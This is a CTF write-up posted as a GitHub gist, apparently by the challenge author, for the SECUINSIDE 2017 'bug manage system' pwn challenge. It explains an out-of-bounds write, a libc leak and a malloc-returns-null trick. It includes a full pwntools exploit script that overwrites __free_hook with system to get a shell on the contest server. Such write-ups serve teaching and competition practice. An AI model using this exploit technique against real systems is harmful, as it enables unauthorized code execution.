Skip to content

Instantly share code, notes, and snippets.

@5unKn0wn
Last active July 3, 2017 07:00
Show Gist options
  • Save 5unKn0wn/36bc5a9c472ab3bed94143d81d5b479c to your computer and use it in GitHub Desktop.
Save 5unKn0wn/36bc5a9c472ab3bed94143d81d5b479c to your computer and use it in GitHub Desktop.

SECUINSIDE 2017 write-ups

Rank

bug manage system

description : show me the bug!

first, let's know about protection technique in this challenge.

checksec

mostly protection techniques are enabled (nx, canary, pie, full relro).

this binary is managing bug with linked list data structure.

it has bug structure, structure likes this:

typedef struct bug {  
	char bug_used;
	size_t bug_idx;
	char bug_name[32];
	size_t bug_size;
	size_t dummy;
	char* bug_content;
	struct bug* next;
} _bug;

and this binary has 4 menu.

  1. add bug
  2. show bug
  3. edit bug
  4. delete bug

main

vulnerability is in edit_bug menu.

vuln

above shows out of bound vuln.

we can change 4 bytes from content area.

and we can also leak libc address from unsorted bin.

because binary can not initialize new bug_content buffer.

vuln2

and i did not intend to heap address leak.

i used random padding when call malloc and i used null dummy in bug structure.

but GoN did heap address leaking T.T (uninteded)

GoN's exploit

Anyway, if we could not leak heap address, how we can exploit?

we can write 4 bytes from content area, but content area in heap and we do not know heap address.

my intended solution was to make malloc returns null.

in 32bit system, if we malloc -1 byte, it convert to 0xffffffff and it is too big size.

so, malloc returns null.

then, bug_content points to null and if we know libc address, we can write system address in __free_hook address.

this is my exploit code.

from pwn import *

r = None
def add_bug(name, size, content):
	global r
	r.sendlineafter("choice : ", str(1))
	r.sendlineafter("name? : ", name)
	r.sendlineafter("size? : ", str(size))
	r.sendlineafter("content? : ", content)

def view_bug():
	global r
	r.sendlineafter("choice : ", str(2))

def edit_bug(idx, choice, name=None, size=None, where=None, what=None):
	global r
	r.sendlineafter("choice : ", str(3))
	sleep(3)
	r.sendlineafter("idx? : ", str(idx))
	r.sendlineafter("choice : ", str(choice))
	if choice == 1:
		r.sendlineafter("name? : ", name)
	elif choice == 2:
		r.sendlineafter("size? : ", str(size))
	elif choice == 3:
		r.sendlineafter("change? : ", str(where))
		r.sendlineafter("change? : ", what)

def delete_bug(idx):
	global r
	r.sendlineafter("choice : ", str(4))
	r.sendlineafter("idx? : ", str(idx))

def main():
	global r
	filename = "./bug_manage_system"
	r = remote("13.113.134.180", 1337)
	# r = process("./bug_manage_system")
	# libc = ELF("./libc.so.6")

	# raw_input("$ ")
	add_bug("5unKn0wn", 500, "5unKn0wn")
	add_bug("5unKn0wn", 72, "5unKn0wn")
	add_bug("5unKn0wn", 500, "/bin/sh;")
	delete_bug(2)
	delete_bug(1)
	add_bug("5unKn0wn", 500, "AAA")
	view_bug()
	r.recvuntil("A\n")
	libc_base = u32(r.recv(4)) - 0x1b09a0
	if (libc_base & 0xfff) != 0:
		print "rand fail"
		r.close()
		main()
		exit()
	system = libc_base + 0x0003a940	# libc.functions['system'].address
	free_hook = libc_base + 0x01B18B0	# libc.symbols['__free_hook']
	log.info("libc_base : " + hex(libc_base))
	add_bug("5unKn0wn", -1, "songsong")
	r.recvuntil("that's nono~~")
	# raw_input("$ ")
	edit_bug(5, 3, where=-((-free_hook) & 0xffffffff), what=p32(system))
	delete_bug(3)

	r.interactive()

main()

if we run above exloit code, we can get shell.

checksec

and flag is SECU[n0t_h3ap_expl0it,_just_nu11_der3fer3nce]

thanks for GoN and 217.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment